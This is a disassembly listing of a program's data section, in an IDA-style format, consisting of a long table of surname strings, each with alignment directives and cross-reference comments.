aShatrov	db 'Shatrov',0          ; DATA XREF: ___:0042E870o
aShar		db 'Shar',0             ; DATA XREF: ___:0042E86Co
		align 4
aShanley	db 'Shanley',0          ; DATA XREF: ___:0042E868o
aShankland	db 'Shankland',0        ; DATA XREF: ___:0042E864o
		align 4
aShakis		db 'Shakis',0           ; DATA XREF: ___:0042E860o
		align 4
aShaikh		db 'Shaikh',0           ; DATA XREF: ___:0042E85Co
		align 4
aSeyfert	db 'Seyfert',0          ; DATA XREF: ___:0042E858o
aSexton		db 'Sexton',0           ; DATA XREF: ___:0042E854o
		align 4
aSeterdahl	db 'Seterdahl',0        ; DATA XREF: ___:0042E850o
		align 4
aSennett	db 'Sennett',0          ; DATA XREF: ___:0042E84Co
aSen		db 'Sen',0              ; DATA XREF: ___:0042E848o
aSelvage	db 'Selvage',0          ; DATA XREF: ___:0042E844o
aSekler		db 'Sekler',0           ; DATA XREF: ___:0042E840o
		align 4
aSegal		db 'Segal',0            ; DATA XREF: ___:0042E83Co
		align 4
aSeeber		db 'Seeber',0           ; DATA XREF: ___:0042E838o
		align 4
aSeaton		db 'Seaton',0           ; DATA XREF: ___:0042E834o
		align 4
aScudder	db 'Scudder',0          ; DATA XREF: ___:0042E830o
aScovel		db 'Scovel',0           ; DATA XREF: ___:0042E82Co
		align 4
aSchwickrath	db 'Schwickrath',0      ; DATA XREF: ___:0042E828o
aSchwan		db 'Schwan',0           ; DATA XREF: ___:0042E824o
		align 10h
aSchuyler	db 'Schuyler',0         ; DATA XREF: ___:0042E820o
		align 4
aSchutte	db 'Schutte',0          ; DATA XREF: ___:0042E81Co
aSchuman	db 'Schuman',0          ; DATA XREF: ___:0042E818o
aSchossberger	db 'Schossberger',0     ; DATA XREF: ___:0042E814o
		align 4
aSchmitt	db 'Schmitt',0          ; DATA XREF: ___:0042E810o
aSchilling	db 'Schilling',0        ; DATA XREF: ___:0042E80Co
		align 10h
aSchifini	db 'Schifini',0         ; DATA XREF: ___:0042E808o
		align 4
aSchiano	db 'Schiano',0          ; DATA XREF: ___:0042E804o
aScheiner	db 'Scheiner',0         ; DATA XREF: ___:0042E800o
		align 10h
aScharlemann	db 'Scharlemann',0      ; DATA XREF: ___:0042E7FCo
aScharf		db 'Scharf',0           ; DATA XREF: ___:0042E7F8o
		align 4
aScepan		db 'Scepan',0           ; DATA XREF: ___:0042E7F4o
		align 4
aScarponi	db 'Scarponi',0         ; DATA XREF: ___:0042E7F0o
		align 4
aSayied		db 'Sayied',0           ; DATA XREF: ___:0042E7ECo
		align 10h
aSawtell	db 'Sawtell',0          ; DATA XREF: ___:0042E7E8o
aSatterthwaite	db 'Satterthwaite',0    ; DATA XREF: ___:0042E7E4o
		align 4
aSatta		db 'Satta',0            ; DATA XREF: ___:0042E7E0o
		align 10h
aSatin		db 'Satin',0            ; DATA XREF: ___:0042E7DCo
		align 4
aSase		db 'Sase',0             ; DATA XREF: ___:0042E7D8o
		align 10h
aSartore	db 'Sartore',0          ; DATA XREF: ___:0042E7D4o
aSarin		db 'Sarin',0            ; DATA XREF: ___:0042E7D0o
		align 10h
aSapers		db 'Sapers',0           ; DATA XREF: ___:0042E7CCo
		align 4
aSanna		db 'Sanna',0            ; DATA XREF: ___:0042E7C8o
		align 10h
aSanchezRamirez	db 'Sanchez-Ramirez',0  ; DATA XREF: ___:0042E7C4o
aSamson		db 'Samson',0           ; DATA XREF: ___:0042E7C0o
		align 4
aSali		db 'Sali',0             ; DATA XREF: ___:0042E7BCo
		align 10h
aSahu		db 'Sahu',0             ; DATA XREF: ___:0042E7B8o
		align 4
aSafire		db 'Safire',0           ; DATA XREF: ___:0042E7B4o
		align 10h
aSadler		db 'Sadler',0           ; DATA XREF: ___:0042E7B0o
		align 4
aSabatello	db 'Sabatello',0        ; DATA XREF: ___:0042E7ACo
		align 4
aRyu		db 'Ryu',0              ; DATA XREF: ___:0042E7A8o
aRush		db 'Rush',0             ; DATA XREF: ___:0042E7A4o
		align 10h
aRuescher	db 'Ruescher',0         ; DATA XREF: ___:0042E7A0o
		align 4
aRuderman	db 'Ruderman',0         ; DATA XREF: ___:0042E79Co
		align 4
aRuan		db 'Ruan',0             ; DATA XREF: ___:0042E798o
		align 10h
aRu		db 'Ru',0               ; DATA XREF: ___:0042E794o
		align 4
aRoyal		db 'Royal',0            ; DATA XREF: ___:0042E790o
		align 4
aRow		db 'Row',0              ; DATA XREF: ___:0042E78Co
aRonen		db 'Ronen',0            ; DATA XREF: ___:0042E788o
		align 4
aRogers		db 'Rogers',0           ; DATA XREF: ___:0042E784o
		align 10h
aRoesler	db 'Roesler',0          ; DATA XREF: ___:0042E780o
aRocha		db 'Rocha',0            ; DATA XREF: ___:0042E77Co
		align 10h
aRobinson	db 'Robinson',0         ; DATA XREF: ___:0042E778o
		align 4
aRivera		db 'Rivera',0           ; DATA XREF: ___:0042E774o
		align 4
aRish		db 'Rish',0             ; DATA XREF: ___:0042E770o
		align 4
aRineer		db 'Rineer',0           ; DATA XREF: ___:0042E76Co
		align 4
aRindos		db 'Rindos',0           ; DATA XREF: ___:0042E768o
		align 4
aRielly		db 'Rielly',0           ; DATA XREF: ___:0042E764o
		align 4
aRichmond	db 'Richmond',0         ; DATA XREF: ___:0042E760o
		align 10h
aRhea		db 'Rhea',0             ; DATA XREF: ___:0042E75Co
		align 4
aResnik		db 'Resnik',0           ; DATA XREF: ___:0042E758o
		align 10h
aRepetto	db 'Repetto',0          ; DATA XREF: ___:0042E754o
aRenick		db 'Renick',0           ; DATA XREF: ___:0042E750o
		align 10h
aRemak		db 'Remak',0            ; DATA XREF: ___:0042E74Co
		align 4
aReinold	db 'Reinold',0          ; DATA XREF: ___:0042E748o
aCunningham	db 'Cunningham',0       ; DATA XREF: ___:0042E744o
		align 4
aReedquist	db 'Reedquist',0        ; DATA XREF: ___:0042E740o
		align 4
aReddenTyler	db 'Redden-Tyler',0     ; DATA XREF: ___:0042E73Co
		align 4
aRayport	db 'Rayport',0          ; DATA XREF: ___:0042E738o
aRapple		db 'Rapple',0           ; DATA XREF: ___:0042E734o
		align 4
aRankin		db 'Rankin',0           ; DATA XREF: ___:0042E730o
		align 10h
aRangan		db 'Rangan',0           ; DATA XREF: ___:0042E72Co
		align 4
aRaney		db 'Raney',0            ; DATA XREF: ___:0042E728o
		align 10h
aRajagopalan	db 'Rajagopalan',0      ; DATA XREF: ___:0042E724o
aRadeke		db 'Radeke',0           ; DATA XREF: ___:0042E720o
		align 4
aRabkin		db 'Rabkin',0           ; DATA XREF: ___:0042E71Co
		align 4
aRabe		db 'Rabe',0             ; DATA XREF: ___:0042E718o
		align 4
aQuetin		db 'Quetin',0           ; DATA XREF: ___:0042E714o
		align 4
aQuaday		db 'Quaday',0           ; DATA XREF: ___:0042E710o
		align 4
aPynchon	db 'Pynchon',0          ; DATA XREF: ___:0042E70Co
aPugh		db 'Pugh',0             ; DATA XREF: ___:0042E708o
		align 4
aPuccia		db 'Puccia',0           ; DATA XREF: ___:0042E704o
		align 4
aProthrowStith	db 'Prothrow-Stith',0   ; DATA XREF: ___:0042E700o
		align 4
aProietti	db 'Proietti',0         ; DATA XREF: ___:0042E6FCo
		align 4
aPritz		db 'Pritz',0            ; DATA XREF: ___:0042E6F8o
		align 10h
aPritchard	db 'Pritchard',0        ; DATA XREF: ___:0042E6F4o
		align 4
aPrevost	db 'Prevost',0          ; DATA XREF: ___:0042E6F0o
aPreucel	db 'Preucel',0          ; DATA XREF: ___:0042E6ECo
aPresper	db 'Presper',0          ; DATA XREF: ___:0042E6E8o
aPowers		db 'Powers',0           ; DATA XREF: ___:0042E6E4o
		align 4
aPoolman	db 'Poolman',0          ; DATA XREF: ___:0042E6E0o
aPoma		db 'Poma',0             ; DATA XREF: ___:0042E6DCo
		align 4
aPolitis	db 'Politis',0          ; DATA XREF: ___:0042E6D8o
aPolanyi	db 'Polanyi',0          ; DATA XREF: ___:0042E6D4o
aPolak		db 'Polak',0            ; DATA XREF: ___:0042E6D0o
		align 4
aPoirier	db 'Poirier',0          ; DATA XREF: ___:0042E6CCo
aPointer	db 'Pointer',0          ; DATA XREF: ___:0042E6C8o
aPoincaire	db 'Poincaire',0        ; DATA XREF: ___:0042E6C4o
		align 10h
aPocobene	db 'Pocobene',0         ; DATA XREF: ___:0042E6C0o
		align 4
aPo		db 'Po',0               ; DATA XREF: ___:0042E6BCo
		align 10h
aPlous		db 'Plous',0            ; DATA XREF: ___:0042E6B8o
		align 4
aPlasket	db 'Plasket',0          ; DATA XREF: ___:0042E6B4o
aPlant		db 'Plant',0            ; DATA XREF: ___:0042E6B0o
		align 4
aPlancon	db 'Plancon',0          ; DATA XREF: ___:0042E6ACo
aPinot		db 'Pinot',0            ; DATA XREF: ___:0042E6A8o
		align 4
aPilbeam	db 'Pilbeam',0          ; DATA XREF: ___:0042E6A4o
aPfister	db 'Pfister',0          ; DATA XREF: ___:0042E6A0o
aPettit		db 'Pettit',0           ; DATA XREF: ___:0042E69Co
		align 10h
aPettibone	db 'Pettibone',0        ; DATA XREF: ___:0042E698o
		align 4
aPetruzello	db 'Petruzello',0       ; DATA XREF: ___:0042E694o
		align 4
aPeters		db 'Peters',0           ; DATA XREF: ___:0042E690o
		align 10h
aPerrimon	db 'Perrimon',0         ; DATA XREF: ___:0042E68Co
		align 4
aPerone		db 'Perone',0           ; DATA XREF: ___:0042E688o
		align 4
aPerna		db 'Perna',0            ; DATA XREF: ___:0042E684o
		align 4
aPerlman	db 'Perlman',0          ; DATA XREF: ___:0042E680o
aPerlak		db 'Perlak',0           ; DATA XREF: ___:0042E67Co
		align 4
aPerko		db 'Perko',0            ; DATA XREF: ___:0042E678o
		align 4
aPereira	db 'Pereira',0          ; DATA XREF: ___:0042E674o
aPenny		db 'Penny',0            ; DATA XREF: ___:0042E670o
		align 4
aPeishel	db 'Peishel',0          ; DATA XREF: ___:0042E66Co
aPederson	db 'Pederson',0         ; DATA XREF: ___:0042E668o
		align 4
aPearlberg	db 'Pearlberg',0        ; DATA XREF: ___:0042E664o
		align 4
aPeabody	db 'Peabody',0          ; DATA XREF: ___:0042E660o
aPaynter	db 'Paynter',0          ; DATA XREF: ___:0042E65Co
aPawloski	db 'Pawloski',0         ; DATA XREF: ___:0042E658o
		align 10h
aPavlon		db 'Pavlon',0           ; DATA XREF: ___:0042E654o
		align 4
aPavetti	db 'Pavetti',0          ; DATA XREF: ___:0042E650o
aPattullo	db 'Pattullo',0         ; DATA XREF: ___:0042E64Co
		align 4
aPatrick	db 'Patrick',0          ; DATA XREF: ___:0042E648o
aPatefield	db 'Patefield',0        ; DATA XREF: ___:0042E644o
		align 10h
aPascucci	db 'Pascucci',0         ; DATA XREF: ___:0042E640o
		align 4
aPartridge	db 'Partridge',0        ; DATA XREF: ___:0042E63Co
		align 4
aParris		db 'Parris',0           ; DATA XREF: ___:0042E638o
		align 10h
aParmeggiani	db 'Parmeggiani',0      ; DATA XREF: ___:0042E634o
aPaoletti	db 'Paoletti',0         ; DATA XREF: ___:0042E630o
		align 4
aPantilla	db 'Pantilla',0         ; DATA XREF: ___:0042E62Co
		align 4
aPanizzon	db 'Panizzon',0         ; DATA XREF: ___:0042E628o
		align 10h
aPanadero	db 'Panadero',0         ; DATA XREF: ___:0042E624o
		align 4
aPalmitesta	db 'Palmitesta',0       ; DATA XREF: ___:0042E620o
		align 4
aPallara	db 'Pallara',0          ; DATA XREF: ___:0042E61Co
aPalepu		db 'Palepu',0           ; DATA XREF: ___:0042E618o
		align 4
aPalayoor	db 'Palayoor',0         ; DATA XREF: ___:0042E614o
		align 4
aPaine		db 'Paine',0            ; DATA XREF: ___:0042E610o
		align 4
aPaesdealmeida	db 'PaesDealmeida',0    ; DATA XREF: ___:0042E60Co
		align 4
aOvid		db 'Ovid',0             ; DATA XREF: ___:0042E608o
		align 4
aOuchida	db 'Ouchida',0          ; DATA XREF: ___:0042E604o
aOtten		db 'Otten',0            ; DATA XREF: ___:0042E600o
		align 4
aOttaviani	db 'Ottaviani',0        ; DATA XREF: ___:0042E5FCo
		align 10h
aOstrowski	db 'Ostrowski',0        ; DATA XREF: ___:0042E5F8o
		align 4
aOspina		db 'Ospina',0           ; DATA XREF: ___:0042E5F4o
		align 4
aOrsi		db 'Orsi',0             ; DATA XREF: ___:0042E5F0o
		align 4
aOrfield	db 'Orfield',0          ; DATA XREF: ___:0042E5ECo
aOray		db 'Oray',0             ; DATA XREF: ___:0042E5E8o
		align 4
aOpel		db 'Opel',0             ; DATA XREF: ___:0042E5E4o
		align 4
aOMeara		db 'O',27h,'meara',0    ; DATA XREF: ___:0042E5E0o
aOman		db 'Oman',0             ; DATA XREF: ___:0042E5DCo
		align 4
aOMalley	db 'O',27h,'malley',0   ; DATA XREF: ___:0042E5D8o
		align 10h
aOlszewski	db 'Olszewski',0        ; DATA XREF: ___:0042E5D4o
		align 4
aOlson		db 'Olson',0            ; DATA XREF: ___:0042E5D0o
		align 4
aOlsen		db 'Olsen',0            ; DATA XREF: ___:0042E5CCo
		align 4
aOldford	db 'Oldford',0          ; DATA XREF: ___:0042E5C8o
aOHagan		db 'O',27h,'hagan',0    ; DATA XREF: ___:0042E5C4o
aOh		db 'Oh',0               ; DATA XREF: ___:0042E5C0o
		align 10h
aOgata		db 'Ogata',0            ; DATA XREF: ___:0042E5BCo
		align 4
aOcougne	db 'Ocougne',0          ; DATA XREF: ___:0042E5B8o
aNuzum		db 'Nuzum',0            ; DATA XREF: ___:0042E5B4o
		align 4
aNotman		db 'Notman',0           ; DATA XREF: ___:0042E5B0o
		align 10h
aNitabach	db 'Nitabach',0         ; DATA XREF: ___:0042E5ACo
		align 4
aNisenson	db 'Nisenson',0         ; DATA XREF: ___:0042E5A8o
		align 4
aNickoloff	db 'Nickoloff',0        ; DATA XREF: ___:0042E5A4o
		align 4
aNickerson	db 'Nickerson',0        ; DATA XREF: ___:0042E5A0o
		align 10h
aNi_0		db 'Ni',0               ; DATA XREF: ___:0042E59Co
		align 4
aNg		db 'Ng',0               ; DATA XREF: ___:0042E598o
		align 4
aNewlin		db 'Newlin',0           ; DATA XREF: ___:0042E594o
		align 10h
aNewfeld	db 'Newfeld',0          ; DATA XREF: ___:0042E590o
aNeuman		db 'Neuman',0           ; DATA XREF: ___:0042E58Co
		align 10h
aNesci		db 'Nesci',0            ; DATA XREF: ___:0042E588o
		align 4
aNenna		db 'Nenna',0            ; DATA XREF: ___:0042E584o
		align 10h
aNelson		db 'Nelson',0           ; DATA XREF: ___:0042E580o
		align 4
aNayduch	db 'Nayduch',0          ; DATA XREF: ___:0042E57Co
aNaviaux	db 'Naviaux',0          ; DATA XREF: ___:0042E578o
aNardone	db 'Nardone',0          ; DATA XREF: ___:0042E574o
aNardi		db 'Nardi',0            ; DATA XREF: ___:0042E570o
		align 4
aNapolitano	db 'Napolitano',0       ; DATA XREF: ___:0042E56Co
		align 4
aNaddeo		db 'Naddeo',0           ; DATA XREF: ___:0042E568o
		align 4
aMussachio	db 'Mussachio',0        ; DATA XREF: ___:0042E564o
		align 4
aMumford	db 'Mumford',0          ; DATA XREF: ___:0042E560o
aMulroy		db 'Mulroy',0           ; DATA XREF: ___:0042E55Co
		align 4
aMulkern	db 'Mulkern',0          ; DATA XREF: ___:0042E558o
aMugnai		db 'Mugnai',0           ; DATA XREF: ___:0042E554o
		align 4
aMuello		db 'Muello',0           ; DATA XREF: ___:0042E550o
		align 10h
aMudarri	db 'Mudarri',0          ; DATA XREF: ___:0042E54Co
aMotooka	db 'Motooka',0          ; DATA XREF: ___:0042E548o
aMostafavi	db 'Mostafavi',0        ; DATA XREF: ___:0042E544o
		align 4
aMosler		db 'Mosler',0           ; DATA XREF: ___:0042E540o
		align 4
aMosher		db 'Mosher',0           ; DATA XREF: ___:0042E53Co
		align 4
aMortimer	db 'Mortimer',0         ; DATA XREF: ___:0042E538o
		align 4
aMorrow		db 'Morrow',0           ; DATA XREF: ___:0042E534o
		align 10h
aMorrison	db 'Morrison',0         ; DATA XREF: ___:0042E530o
		align 4
aMoreton	db 'Moreton',0          ; DATA XREF: ___:0042E52Co
aMorani		db 'Morani',0           ; DATA XREF: ___:0042E528o
		align 4
aMooredech_	db 'MooreDeCh.',0       ; DATA XREF: ___:0042E524o
		align 4
aMontilio	db 'Montilio',0         ; DATA XREF: ___:0042E520o
		align 4
aMonque		db 'Monque',0           ; DATA XREF: ___:0042E51Co
		align 4
aMoiamedi	db 'Moiamedi',0         ; DATA XREF: ___:0042E518o
		align 4
aMohr		db 'Mohr',0             ; DATA XREF: ___:0042E514o
		align 10h
aMoeller	db 'Moeller',0          ; DATA XREF: ___:0042E510o
aModestino	db 'Modestino',0        ; DATA XREF: ___:0042E50Co
		align 4
aMocroft	db 'Mocroft',0          ; DATA XREF: ___:0042E508o
aMittal		db 'Mittal',0           ; DATA XREF: ___:0042E504o
		align 4
aMitropoulos	db 'Mitropoulos',0      ; DATA XREF: ___:0042E500o
aGonzalez	db 'Gonzalez',0         ; DATA XREF: ___:0042E4FCo
		align 4
aMinichiello	db 'Minichiello',0      ; DATA XREF: ___:0042E4F8o
aMini		db 'Mini',0             ; DATA XREF: ___:0042E4F4o
		align 10h
aMinh		db 'Minh',0             ; DATA XREF: ___:0042E4F0o
		align 4
aMills		db 'Mills',0            ; DATA XREF: ___:0042E4ECo
		align 10h
aMieher		db 'Mieher',0           ; DATA XREF: ___:0042E4E8o
		align 4
aMiddle		db 'Middle',0           ; DATA XREF: ___:0042E4E4o
		align 10h
aMichelman	db 'Michelman',0        ; DATA XREF: ___:0042E4E0o
		align 4
aMeurer		db 'Meurer',0           ; DATA XREF: ___:0042E4DCo
		align 4
aMetropolis	db 'Metropolis',0       ; DATA XREF: ___:0042E4D8o
		align 10h
aMetelka	db 'Metelka',0          ; DATA XREF: ___:0042E4D4o
aMerz		db 'Merz',0             ; DATA XREF: ___:0042E4D0o
		align 10h
aMerseth	db 'Merseth',0          ; DATA XREF: ___:0042E4CCo
aMerminod	db 'Merminod',0         ; DATA XREF: ___:0042E4C8o
		align 4
aMerlani	db 'Merlani',0          ; DATA XREF: ___:0042E4C4o
aMerikoski	db 'Merikoski',0        ; DATA XREF: ___:0042E4C0o
		align 4
aMenzies	db 'Menzies',0          ; DATA XREF: ___:0042E4BCo
aMemisoglu	db 'Memisoglu',0        ; DATA XREF: ___:0042E4B8o
		align 4
aMeccariello	db 'Meccariello',0      ; DATA XREF: ___:0042E4B4o
aMcnulty	db 'Mcnulty',0          ; DATA XREF: ___:0042E4B0o
aMcnealy	db 'Mcnealy',0          ; DATA XREF: ___:0042E4ACo
aMclaren	db 'Mclaren',0          ; DATA XREF: ___:0042E4A8o
aMclane		db 'Mclane',0           ; DATA XREF: ___:0042E4A4o
		align 4
aMckenna	db 'Mckenna',0          ; DATA XREF: ___:0042E4A0o
aMcintosh	db 'Mcintosh',0         ; DATA XREF: ___:0042E49Co
		align 4
aMcilroy	db 'McIlroy',0          ; DATA XREF: ___:0042E498o
aMcgoldrick	db 'Mcgoldrick',0       ; DATA XREF: ___:0042E494o
		align 10h
aMcghee		db 'Mcghee',0           ; DATA XREF: ___:0042E490o
		align 4
aMcfadden	db 'McFadden',0         ; DATA XREF: ___:0042E48Co
		align 4
aMcelroy	db 'Mcelroy',0          ; DATA XREF: ___:0042E488o
aMcdowell	db 'Mcdowell',0         ; DATA XREF: ___:0042E484o
		align 4
aMcclearn	db 'Mcclearn',0         ; DATA XREF: ___:0042E480o
		align 4
aMccall		db 'Mccall',0           ; DATA XREF: ___:0042E47Co
		align 4
aMccaffery	db 'Mccaffery',0        ; DATA XREF: ___:0042E478o
		align 4
aMcbride	db 'Mcbride',0          ; DATA XREF: ___:0042E474o
aMazziotta	db 'Mazziotta',0        ; DATA XREF: ___:0042E470o
		align 4
aMazzali	db 'Mazzali',0          ; DATA XREF: ___:0042E46Co
aMay		db 'May',0              ; DATA XREF: ___:0042E468o
aMauzy		db 'Mauzy',0            ; DATA XREF: ___:0042E464o
		align 10h
aMattson	db 'Mattson',0          ; DATA XREF: ___:0042E460o
aMatsukata	db 'Matsukata',0        ; DATA XREF: ___:0042E45Co
		align 4
aMatarazzo	db 'Matarazzo',0        ; DATA XREF: ___:0042E458o
		align 10h
aMatalka	db 'Matalka',0          ; DATA XREF: ___:0042E454o
aMass		db 'Mass',0             ; DATA XREF: ___:0042E450o
		align 10h
aMarubini	db 'Marubini',0         ; DATA XREF: ___:0042E44Co
		align 4
aMarton		db 'Marton',0           ; DATA XREF: ___:0042E448o
		align 4
aMartochio	db 'Martochio',0        ; DATA XREF: ___:0042E444o
		align 10h
aMartinez	db 'Martinez',0         ; DATA XREF: ___:0042E440o
		align 4
aMarques	db 'Marques',0          ; DATA XREF: ___:0042E43Co
aMargetts	db 'Margetts',0         ; DATA XREF: ___:0042E438o
		align 10h
aMargalit	db 'Margalit',0         ; DATA XREF: ___:0042E434o
		align 4
aMarcus		db 'Marcus',0           ; DATA XREF: ___:0042E430o
		align 4
aMarchbanks	db 'Marchbanks',0       ; DATA XREF: ___:0042E42Co
		align 10h
aMarch		db 'March',0            ; DATA XREF: ___:0042E428o
		align 4
aMantovan	db 'Mantovan',0         ; DATA XREF: ___:0042E424o
		align 4
aManganiello	db 'Manganiello',0      ; DATA XREF: ___:0042E420o
aMandel		db 'Mandel',0           ; DATA XREF: ___:0042E41Co
		align 4
aManalis	db 'Manalis',0          ; DATA XREF: ___:0042E418o
aMalova		db 'Malova',0           ; DATA XREF: ___:0042E414o
		align 4
aMaller		db 'Maller',0           ; DATA XREF: ___:0042E410o
		align 10h
aMalatesta	db 'Malatesta',0        ; DATA XREF: ___:0042E40Co
		align 4
aMaisano	db 'Maisano',0          ; DATA XREF: ___:0042E408o
aMaineHershey	db 'Maine-Hershey',0    ; DATA XREF: ___:0042E404o
		align 4
aMaier		db 'Maier',0            ; DATA XREF: ___:0042E400o
		align 4
aMahony		db 'Mahony',0           ; DATA XREF: ___:0042E3FCo
		align 4
aMaggio		db 'Maggio',0           ; DATA XREF: ___:0042E3F8o
		align 4
aMadigan	db 'Madigan',0          ; DATA XREF: ___:0042E3F4o
aMacy		db 'Macy',0             ; DATA XREF: ___:0042E3F0o
		align 4
aMacmillan	db 'MacMillan',0        ; DATA XREF: ___:0042E3ECo
		align 4
aMackenney	db 'Mackenney',0        ; DATA XREF: ___:0042E3E8o
		align 4
aMacintyre	db 'Macintyre',0        ; DATA XREF: ___:0042E3E4o
		align 10h
aMaceachern	db 'Maceachern',0       ; DATA XREF: ___:0042E3E0o
		align 4
aMacdonald	db 'Macdonald',0        ; DATA XREF: ___:0042E3DCo
		align 4
aMaccormac	db 'Maccormac',0        ; DATA XREF: ___:0042E3D8o
		align 4
aMa		db 'Ma',0               ; DATA XREF: ___:0042E3D4o
		align 4
aLuzader	db 'Luzader',0          ; DATA XREF: ___:0042E3D0o
aLutcavage	db 'Lutcavage',0        ; DATA XREF: ___:0042E3CCo
		align 4
aLussier	db 'Lussier',0          ; DATA XREF: ___:0042E3C8o
aLuoma		db 'Luoma',0            ; DATA XREF: ___:0042E3C4o
		align 4
aLunetta	db 'Lunetta',0          ; DATA XREF: ___:0042E3C0o
aLuecke		db 'Luecke',0           ; DATA XREF: ___:0042E3BCo
		align 4
aLuczkow	db 'Luczkow',0          ; DATA XREF: ___:0042E3B8o
aLuciano	db 'Luciano',0          ; DATA XREF: ___:0042E3B4o
aLucas		db 'Lucas',0            ; DATA XREF: ___:0042E3B0o
		align 4
aLubin		db 'Lubin',0            ; DATA XREF: ___:0042E3ACo
		align 4
aLoza		db 'Loza',0             ; DATA XREF: ___:0042E3A8o
		align 4
aLowenstein	db 'Lowenstein',0       ; DATA XREF: ___:0042E3A4o
		align 10h
aLoveman	db 'Loveman',0          ; DATA XREF: ___:0042E3A0o
aLoss		db 'Loss',0             ; DATA XREF: ___:0042E39Co
		align 10h
aLongworth	db 'Longworth',0        ; DATA XREF: ___:0042E398o
		align 4
aLocatelli	db 'Locatelli',0        ; DATA XREF: ___:0042E394o
		align 4
aLizardo	db 'Lizardo',0          ; DATA XREF: ___:0042E390o
aLivolsi	db 'Livolsi',0          ; DATA XREF: ___:0042E38Co
aLivi		db 'Livi',0             ; DATA XREF: ___:0042E388o
		align 10h
aLivernash	db 'Livernash',0        ; DATA XREF: ___:0042E384o
		align 4
aLitvak		db 'Litvak',0           ; DATA XREF: ___:0042E380o
		align 4
aLittle		db 'Little',0           ; DATA XREF: ___:0042E37Co
		align 4
aLipponen	db 'Lipponen',0         ; DATA XREF: ___:0042E378o
		align 4
aLippmann	db 'Lippmann',0         ; DATA XREF: ___:0042E374o
		align 4
aLinzee		db 'Linzee',0           ; DATA XREF: ___:0042E370o
		align 4
aLinehan	db 'Linehan',0          ; DATA XREF: ___:0042E36Co
aLine		db 'Line',0             ; DATA XREF: ___:0042E368o
		align 4
aLinder		db 'Linder',0           ; DATA XREF: ___:0042E364o
		align 4
aLinda		db 'Linda',0            ; DATA XREF: ___:0042E360o
		align 4
aLinares	db 'Linares',0          ; DATA XREF: ___:0042E35Co
aLim		db 'Lim',0              ; DATA XREF: ___:0042E358o
aLightfoot	db 'Lightfoot',0        ; DATA XREF: ___:0042E354o
		align 4
aLight		db 'Light',0            ; DATA XREF: ___:0042E350o
		align 4
aLiem		db 'Liem',0             ; DATA XREF: ___:0042E34Co
		align 4
aLidano		db 'Lidano',0           ; DATA XREF: ___:0042E348o
		align 4
aLiakos		db 'Liakos',0           ; DATA XREF: ___:0042E344o
		align 4
aLessi		db 'Lessi',0            ; DATA XREF: ___:0042E340o
		align 4
aLesser		db 'Lesser',0           ; DATA XREF: ___:0042E33Co
		align 4
aLEnclos	db 'l',27h,'Enclos',0   ; DATA XREF: ___:0042E338o
		align 10h
aLenard		db 'Lenard',0           ; DATA XREF: ___:0042E334o
		align 4
aLeite		db 'Leite',0            ; DATA XREF: ___:0042E330o
		align 10h
aLeclercq	db 'Leclercq',0         ; DATA XREF: ___:0042E32Co
		align 4
aLecce		db 'Lecce',0            ; DATA XREF: ___:0042E328o
		align 4
aLecar		db 'Lecar',0            ; DATA XREF: ___:0042E324o
		align 4
aLawless	db 'Lawless',0          ; DATA XREF: ___:0042E320o
aLashley	db 'Lashley',0          ; DATA XREF: ___:0042E31Co
aLaserna	db 'Laserna',0          ; DATA XREF: ___:0042E318o
aLanzit		db 'Lanzit',0           ; DATA XREF: ___:0042E314o
		align 4
aLantieri	db 'Lantieri',0         ; DATA XREF: ___:0042E310o
		align 4
aLankes		db 'Lankes',0           ; DATA XREF: ___:0042E30Co
		align 10h
aLandes		db 'Landes',0           ; DATA XREF: ___:0042E308o
					; ___:004329A4o
		align 4
dword_430058	dd 6C6C614Ch		; DATA XREF: ___:0042E304o
aEmant		db 'emant',0            ; DATA XREF: ___:off_432840o
		align 4
aLaing		db 'Laing',0            ; DATA XREF: ___:0042E300o
		align 4
aLafler		db 'Lafler',0           ; DATA XREF: ___:0042E2FCo
		align 4
aLabunka	db 'Labunka',0          ; DATA XREF: ___:0042E2F8o
aLa		db 'La',0               ; DATA XREF: ___:0042E2F4o
		align 10h
aKuwabara	db 'Kuwabara',0         ; DATA XREF: ___:0042E2F0o
		align 4
aKusman		db 'Kusman',0           ; DATA XREF: ___:0042E2ECo
		align 4
aKumar		db 'Kumar',0            ; DATA XREF: ___:0042E2E8o
		align 4
aKuenzli	db 'Kuenzli',0          ; DATA XREF: ___:0042E2E4o
aKrysiak	db 'Krysiak',0          ; DATA XREF: ___:0042E2E0o
aKroemer	db 'Kroemer',0          ; DATA XREF: ___:0042E2DCo
aKraus		db 'Kraus',0            ; DATA XREF: ___:0042E2D8o
		align 4
aKrasney	db 'Krasney',0          ; DATA XREF: ___:0042E2D4o
aKrailo		db 'Krailo',0           ; DATA XREF: ___:0042E2D0o
		align 4
aKraemer	db 'Kraemer',0          ; DATA XREF: ___:0042E2CCo
aKovaks		db 'Kovaks',0           ; DATA XREF: ___:0042E2C8o
		align 4
aKotter		db 'Kotter',0           ; DATA XREF: ___:0042E2C4o
		align 4
aKorzybski	db 'Korzybski',0        ; DATA XREF: ___:0042E2C0o
		align 10h
aKool		db 'Kool',0             ; DATA XREF: ___:0042E2BCo
		align 4
aKonrad		db 'Konrad',0           ; DATA XREF: ___:0042E2B8o
		align 10h
aKoniaris	db 'Koniaris',0         ; DATA XREF: ___:0042E2B4o
		align 4
aKommer		db 'Kommer',0           ; DATA XREF: ___:0042E2B0o
		align 4
aKoivumaki	db 'Koivumaki',0        ; DATA XREF: ___:0042E2ACo
		align 10h
aKohn		db 'Kohn',0             ; DATA XREF: ___:0042E2A8o
		align 4
aKoch		db 'Koch',0             ; DATA XREF: ___:0042E2A4o
		align 10h
aKobrick	db 'Kobrick',0          ; DATA XREF: ___:0042E2A0o
aKnuff		db 'Knuff',0            ; DATA XREF: ___:0042E29Co
		align 10h
aKlint		db 'Klint',0            ; DATA XREF: ___:0042E298o
		align 4
aKlinkenborg	db 'Klinkenborg',0      ; DATA XREF: ___:0042E294o
aKling		db 'Kling',0            ; DATA XREF: ___:0042E290o
		align 4
aKlemperer	db 'Klemperer',0        ; DATA XREF: ___:0042E28Co
		align 4
aKleinfelder	db 'Kleinfelder',0      ; DATA XREF: ___:0042E288o
aKleiman	db 'Kleiman',0          ; DATA XREF: ___:0042E284o
aKleckner	db 'Kleckner',0         ; DATA XREF: ___:0042E280o
		align 4
aKittridge	db 'Kittridge',0        ; DATA XREF: ___:0042E27Co
		align 4
aKirscht	db 'Kirscht',0          ; DATA XREF: ___:0042E278o
aKippenberger	db 'Kippenberger',0     ; DATA XREF: ___:0042E274o
		align 4
aKinsley	db 'Kinsley',0          ; DATA XREF: ___:0042E270o
